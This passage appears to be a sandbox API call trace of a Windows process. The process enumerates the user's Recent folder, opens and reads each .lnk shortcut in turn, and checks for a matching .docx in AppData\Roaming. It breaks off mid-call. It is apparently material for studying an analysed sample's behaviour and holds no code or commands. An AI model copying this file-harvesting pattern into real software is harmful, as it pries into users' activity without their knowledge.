SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk") returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk") returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk") returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk") returned 1 [0076.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4qhj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.538] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1459 [0076.538] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x1459, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x1459, lpOverlapped=0x0) returned 1 [0076.539] CloseHandle (hObject=0x3f8) returned 1 [0076.539] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.539] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3a0360, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d3a0360, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d3a0360, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5eg1.lnk", cAlternateFileName="")) returned 1 [0076.539] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4qhj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5eg1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk") returned 1 [0076.540] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk") returned 1 [0076.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5eg1.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.540] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x9f1 [0076.540] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0a4, nNumberOfBytesToRead=0x9f1, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0a4*, lpNumberOfBytesRead=0x18e2f8*=0x9f1, lpOverlapped=0x0) returned 1 [0076.541] CloseHandle (hObject=0x3f8) returned 1 [0076.541] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.541] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e25ab80, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e25ab80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e25ab80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="5H7Vrui.lnk", cAlternateFileName="")) returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5eg1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk", len=0x53 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", len=0x52 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5H7Vrui.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", len=0x52 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk") returned 1 [0076.541] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk") returned 1 [0076.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5h7vrui.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.542] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3e8 [0076.542] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0a4, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0a4*, lpNumberOfBytesRead=0x18e2f8*=0x3e8, lpOverlapped=0x0) returned 1 [0076.542] CloseHandle (hObject=0x3f8) returned 1 [0076.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5H7Vrui.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5h7vrui.docx"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.543] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x1b6c [0076.543] CloseHandle (hObject=0x3f8) returned 1 [0076.543] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ceb7600, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9ceb7600, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9ceb7600, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="5wR63HlMWYvMti0btzx.lnk", cAlternateFileName="5WR63H~1.LNK")) returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5H7Vrui.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk", len=0x5f | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", len=0x5e | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5wR63HlMWYvMti0btzx.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", len=0x5e | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk") returned 1 [0076.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5wr63hlmwyvmti0btzx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.543] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1a2b [0076.543] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c12c, nNumberOfBytesToRead=0x1a2b, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c12c*, lpNumberOfBytesRead=0x18e2f8*=0x1a2b, lpOverlapped=0x0) returned 1 [0076.544] CloseHandle (hObject=0x3f8) returned 1 [0076.544] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.544] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1f080, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9ce1f080, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9ce1f080, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="5zH-zIr1.lnk", cAlternateFileName="")) returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5wR63HlMWYvMti0btzx.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk", len=0x54 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", len=0x53 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\5zH-zIr1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", len=0x53 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk") returned 1 [0076.545] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk") returned 1 [0076.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5zh-zir1.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.545] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x239 [0076.545] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c180, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c180*, lpNumberOfBytesRead=0x18e2f8*=0x239, lpOverlapped=0x0) returned 1 [0076.546] CloseHandle (hObject=0x3f8) returned 1 [0076.546] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.546] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd97f80, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9dd97f80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd97f80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="6 XGwY-lUt_VoBNPc3ul.lnk", cAlternateFileName="6XGWY-~1.LNK")) returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5zH-zIr1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x60 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x5f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\6 XGwY-lUt_VoBNPc3ul.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x5f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.546] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk") returned 1 [0076.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 xgwy-lut_vobnpc3ul.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.547] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1a6e [0076.547] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1d0, nNumberOfBytesToRead=0x1a6e, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | 